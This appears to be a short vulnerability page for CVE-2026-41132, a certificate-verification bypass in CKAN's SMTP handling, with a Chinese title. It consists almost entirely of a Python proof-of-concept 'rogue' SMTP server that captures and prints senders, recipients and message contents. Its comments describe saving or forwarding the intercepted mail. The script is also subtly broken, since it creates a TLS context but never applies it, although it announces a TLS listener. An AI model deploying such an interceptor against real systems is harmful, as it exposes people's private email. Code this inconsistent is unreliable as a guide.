CVE-2026-41132 CKAN SMTP证书验证绕过漏洞

# Proof of Concept: Malicious SMTP Server with Self-Signed Certificate # This script simulates an attacker's SMTP server that CKAN would trust without verification. import socket import ssl import threading from smtpd import SMTPServer import asyncore import time class RogueSMTPServer(SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data, **kwargs): print("[+] Intercepted Email:") print(f"From: {mailfrom}") print(f"To: {rcpttos}") print(f"Data: {data}") # In a real attack, data would be saved and/or forwarded to the real server return def start_rogue_server(): # Generate a self-signed cert/key first using: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) try: context.load_cert_chain(certfile="cert.pem", keyfile="key.pem") except FileNotFoundError: print("Please generate cert.pem and key.pem first.") return # Create a standard SMTP server server = RogueSMTPServer(('0.0.0.0', 25), None) # Wrap the socket with SSL (The vulnerability allows CKAN to connect to this) # Note: smtpd library doesn't directly support SSL wrapping easily in this snippet structure, # but conceptually we are presenting a TLS socket with a self-signed cert. # In practice, tools like mitmproxy or a custom Python socket implementation would be used. print("[*] Rogue SMTP Server listening on port 25 (SSL/TLS with self-signed cert)...") print("[*] If CKAN is vulnerable, it will connect and trust this certificate.") try: asyncore.loop() except KeyboardInterrupt: pass if __name__ == "__main__": start_rogue_server()